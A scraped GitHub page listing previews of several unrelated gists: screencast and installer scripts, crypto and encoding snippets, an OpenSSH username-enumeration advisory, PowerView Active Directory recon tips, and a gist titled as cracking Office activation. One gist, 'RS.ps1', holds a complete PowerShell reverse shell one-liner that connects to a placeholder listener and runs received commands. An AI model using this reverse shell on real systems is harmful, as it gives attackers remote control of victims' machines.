Skip to content

Instantly share code, notes, and snippets.

View hash3liZer's full-sized avatar
🚩
/proc/self/fd

Shameer Kashif (Shiri) hash3liZer

🚩
/proc/self/fd
View GitHub Profile
@sieste
sieste / screencast.sh
Created March 21, 2020 00:16
screencast: A bash script to simultaneously record audio from mic and video from screen
#!/bin/bash
#
# Record screen and microphone audio
# Stefan Siegert 2020, adapted from code by Steven Gordon
#
# Example usage:
# screencast intro-to-datacomms
# The audio and screen will be recorded. Press 'z' to stop.
# Two files will be created: intro-to-datacomms-audio.flac, intro-to-datacomms-screen.mp4
@amake
amake / innosetup-linux-macos.org
Last active July 15, 2026 09:43
Inno Setup on Linux and macOS
* Inno Setup on Linux and macOS
[[http://www.jrsoftware.org/isinfo.php][Inno Setup]] is a popular installer builder for Windows. Of course it is made to
run on Windows only, by default. But what if you want to build Windows
installers /off/ Windows, i.e. on Linux or macOS?
You're in luck: It's possible to run Inno Setup anywhere that [[https://www.docker.com/][Docker]] runs
(including Linux and macOS), and even have a passable experience writing your
setup script.
@steeve85
steeve85 / OpenSSH Username Enumeration
Last active September 7, 2018 09:41
OpenSSH Username Enumeration
http://www.openwall.com/lists/oss-security/2018/08/15/5
Date: Wed, 15 Aug 2018 09:05:58 -0700
From: Qualys Security Advisory <qsa@...lys.com>
To: oss-security@...ts.openwall.com
Subject: OpenSSH Username Enumeration
Hi all,
We sent the following email to openssh@...nssh.com and
@zthxxx
zthxxx / Activate Office 2019 for macOS VoL.md
Last active October 1, 2026 20:14
crack activate Office on mac with license file
@ohpe
ohpe / RS.ps1
Last active October 14, 2024 19:46
PowerShell Reverse Shell
powershell -nop -exec bypass -c "$client = New-Object System.Net.Sockets.TCPClient('<LISTENERIP>',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
@williamdes
williamdes / base64_encode_decode.cpp
Created June 20, 2017 16:40
c++ 11 encoding and decoding base64
//FROM
//https://stackoverflow.com/a/34571089/5155484
typedef unsigned char uchar;
static const std::string b = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";//=
static std::string base64_encode(const std::string &in) {
std::string out;
int val=0, valb=-6;
for (uchar c : in) {
@HarmJ0y
HarmJ0y / PowerView-3.0-tricks.ps1
Last active September 20, 2026 12:38
PowerView-3.0 tips and tricks
# PowerView's last major overhaul is detailed here: http://www.harmj0y.net/blog/powershell/make-powerview-great-again/
# tricks for the 'old' PowerView are at https://gist.github.com/HarmJ0y/3328d954607d71362e3c
# the most up-to-date version of PowerView will always be in the dev branch of PowerSploit:
# https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1
# New function naming schema:
# Verbs:
# Get : retrieve full raw data sets
# Find : ‘find’ specific data entries in a data set
@Davor111
Davor111 / sshuttle.sh
Created February 17, 2017 08:34
How to use sshuttle with .key, .csr or .pem files for authentication
#It's not directly mentioned in the documentation on how to do this, so here you go. This command will tunnel everything including DNS:
sshuttle --dns -vr user@yourserver.com 0/0 --ssh-cmd 'ssh -i /your/key/path.pem'
@ssokolow
ssokolow / x11_watch_active_window.py
Last active October 30, 2025 02:18
python-xlib example which reacts to changing the active window
#!/usr/bin/env python
"""python-xlib example which reacts to changing the active window/title.
Requires:
- Python
- python-xlib
Tested with Python 2.x because my Kubuntu 14.04 doesn't come with python-xlib
for Python 3.x.
@lopes
lopes / aes-cbc.py
Last active March 12, 2026 18:47
Simple Python example of AES in CBC mode. #python #cryptography #aes #cbc #poc
#!/usr/bin/env python3
#
# This is a simple script to encrypt a message using AES
# with CBC mode in Python 3.
# Before running it, you must install pycryptodome:
#
# $ python -m pip install PyCryptodome
#
# Author.: José Lopes
# Date...: 2019-06-14